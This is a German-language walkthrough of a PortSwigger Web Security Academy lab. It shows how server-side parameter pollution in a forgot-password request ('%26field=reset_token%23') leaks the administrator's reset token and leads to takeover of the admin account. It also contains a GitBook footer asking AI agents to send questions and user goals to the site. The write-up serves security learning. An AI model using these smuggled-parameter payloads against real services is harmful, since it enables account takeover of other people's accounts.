> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# Serverseitige Parameterverunreinigung im Query-String

Notizen zur serverseitigen Parameterverunreinigung im Query-String für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Kontext zur Behebung.

### Ausnutzen von serverseitiger Parameterverunreinigung in einem Query-String

**Lernziel**/ Als Administrator anmelden und dann Benutzer löschen **carlos**.

#### Funktion „Passwort vergessen“

Eine Funktion zum Zurücksetzen des Passworts ist verfügbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09d1297e8a5927bd37c87cc32ccc220fbba3f3f1%2F%7B9B732EA6-DD9F-4789-BCAF-FCEC70EE0235%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die an den Server gesendete Anfrage lautet wie folgt:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

Die Serverantwort lautet:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7f16654f39fded6b8b2760e1d4e43aedb5b59a2%2F%7BA54A7CCD-2894-4089-AE15-958835C18396%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Versuche zur Parameterverunreinigung

Versuchen Sie, einen neuen Parameter hinzuzufügen über `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

Der Server antwortet:

```json
{
    "error": "Parameter wird nicht unterstützt."
}
```

#### Unter Verwendung der `#` Zeichen

Mit `#`, ändert sich das Verhalten:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Serverantwort:

```json
{
    "error": "Feld nicht angegeben."
}
```

Dies weist auf das Vorhandensein eines **Feld** auf Serverseite erwarteten Parameters hin.

#### Entdeckung des `Feld` Parameters

Senden Sie die folgende Anfrage:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Dann kombinieren wir `Feld` durch `#` um zusätzliche Werte einzuschleusen:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

oder kodiert:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e6d5a17067baa0cc5af223030e898c457be55b%2F%7BAFCCC233-C3E2-4A82-AD56-82807CA60D76%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Durch das Testen verschiedener **serverseitiger Variablennamen**, erhalten Sie mit dem Code eine gültige Antwort **200**, wodurch die Felder offengelegt werden **E-Mail** und **Benutzername**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4cf136de48e4d075b4eee1fcc3233addca9a9c7%2F%7B36C55901-E1A3-4812-8033-3D1F36570C6A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse der JavaScript-Datei forgot-password.js

Eine zugängliche JavaScript-Datei offenbart die folgende Logik:

* Die Formulardaten werden manuell kodiert.
* Die Anfrage wird via `fetch` per POST gesendet.
* Wenn die Antwort das `result` Attribut enthält, wird die Nachricht „Bitte prüfen Sie Ihre E-Mail“ angezeigt.
* A **reset-token** Parameter wird aus dem Query-String abgerufen:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Ungültiger Benutzername";
                }
                else
                {
                    forgotPasswordError.textContent = `Bitte prüfen Sie Ihre E-Mail: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Ungültiger Benutzername";
            });
    } catch (error) {
        console.error("Unerwarteter Fehler:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Dies bestätigt das Vorhandensein eines nutzbaren **Reset-Tokens** Parameter.

#### Bedienen des `reset_token` Parameters

Dieser Parameter wird dann über serverseitige Parameterverunreinigung eingeschleust:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

Der Server antwortet:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed9d909937711737de1742f1709efaf79c3a6057%2F%7B2143BA52-D807-4754-A6C9-5D412B0E791D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Administratorpasswort zurücksetzen

Mithilfe des erhaltenen Tokens greifen Sie auf die folgende URL zu:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Damit können Sie das Passwort des Administrators zurücksetzen, sich mit diesem Konto anmelden und anschließend den Benutzer löschen **carlos**, wodurch das Lab validiert wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85199f4263ae7d0df730528e07b359568cd1357b%2F%7BA489DFA8-7409-4871-B5B3-58243240F22D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
